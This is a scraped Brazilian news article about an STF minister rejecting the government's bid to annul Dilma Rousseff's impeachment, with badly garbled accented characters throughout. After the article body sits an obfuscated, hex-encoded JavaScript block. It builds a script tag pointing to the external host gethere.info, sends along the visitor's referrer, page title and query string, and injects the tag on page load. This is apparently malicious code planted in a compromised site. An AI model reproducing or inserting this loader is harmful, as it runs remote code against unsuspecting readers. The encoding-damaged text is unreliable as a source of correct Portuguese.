Home » Brasil » Governo » Ministro do STF nega pedido do governo para anular impeachment

Ministro do STF nega pedido do governo para anular impeachment

Em nova derrota para o governo, o ministro Teori Zavascki, do Supremo Tribunal Federal (STF), negou nesta quarta-feira, em decisA?o individual, pedido do advogado-geral da UniA?o JosA� Eduardo Cardozo para anular o processo de impeachment. Com isso, nA?o serA? necessA?rio que o plenA?rio da corte se manifeste na tarde de hoje sobre a possibilidade de paralisaA�A?o do ato que deve confirmar o afastamento da presidente Dilma Rousseff. A sessA?o plenA?ria do Senado, suspensa temporariamente para o horA?rio do almoA�o, seguirA? normalmente A� tarde com discursos de parlamentares, manifestaA�A�es do relator Antonio Anastasia (PSDB-MG) e do prA?prio AGU. A votaA�A?o da admissibilidade do impeachment deve ocorrer na madrugada.

No mandado de seguranA�a apresentado ontem ao Supremo, a advocacia-geral da UniA?o utilizava como base da argumentaA�A?o a suposta ilegitimidade do entA?o presidente da CA?mara Eduardo Cunha (PMDB-RJ) de ter dado seguimento ao impeachment da petista. Na avaliaA�A?o da AGU, como o Supremo atestou que Cunha utilizou o mandato parlamentar em benefA�cio prA?prio, qualquer ato feito pelo parlamentar em relaA�A?o ao impeachment estaria comprometido e deve ser anulado. “Se recorre a esse Supremo Tribunal Federal para que firme posicionamento quanto A� nulidade absoluta, nA?o passA�vel de convalidaA�A?o, do procedimento ocorrido no A?mbito da CA?mara dos Deputados, eivado de vA�cios decorrentes da prA?tica de atos com desvio de finalidade pelo entA?o Presidente Eduardo Cunha, que culminou na decisA?o do plenA?rio da CA?mara de autorizaA�A?o de instauraA�A?o de processo de crime de responsabilidade contra a senhora Presidenta da RepA?blica”, disse a AGU no mandado de seguranA�a.

No pedido enviado ao STF, o governo tambA�m tentava colocar em xeque o ato de recebimento da denA?ncia contra Dilma, todos os passos praticados em sequA?ncia ao recebimento da denA?ncia e a decisA?o do plenA?rio da CA?mara de aprovar a admissibilidade do impeachment em 17 de abril. “Urge que esse Supremo Tribunal Federal reconheA�a a prA?tica contumaz de atos com desvio de finalidade, pelo entA?o presidente da CA?mara dos Deputados, tambA�m em outras esferas, como A� o caso do processo de admissibilidade da denA?ncia por crime de responsabilidade contra a Presidenta da RepA?blica. Caso tais atos nA?o sejam prontamente anulados como A� devido, poderA?o acarretar consequA?ncias serA�ssimas que conduzirA?o ao impeachment de uma presidenta da RepA?blica democraticamente eleita”, declarou o governo.

A AGU argumentava que foram nove meses de atos supostamente contaminados por Eduardo Cunha e exagera ao afirmar que os desdobramentos do processo contra a presidente Dilma foram motivados por “interesse pessoal” do entA?o presidente da CA?mara, alvo da OperaA�A?o Lava Jato e de processo por quebra de decoro no Conselho de A�tica. O governo cita como exemplos ofA�cios enviados por Cunha aos autores dos pedidos de impeachment para que complementassem as denA?ncias com requisitos legais e a redaA�A?o de um manual do impeachment para o processo tramitar na CA?mara. “O deputado Eduardo Cunha, ao receber parcialmente a denA?ncia de crime de responsabilidade subscrita por cidadA?os, nA?o pretendeu dar inA�cio a um processo com a finalidade legal para a qual este foi criado pela nossa ordem jurA�dica. NA?o teve por intenA�A?o dar inA�cio a um processo de impeachment para atender ao interesse pA?blico. O propA?sito do seu ato foi outro. Agiu, sem qualquer pudor, para retaliar a sra. Presidenta da RepA?blica seu governo e o seu partido (Partido dos Trabalhadores). Procedeu, ao praticar esse ato, a uma clara vinganA�a”, afirmava a advocacia-geral.

var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Publicação: Redação Brasil (m)

Login

Perdeu sua senha?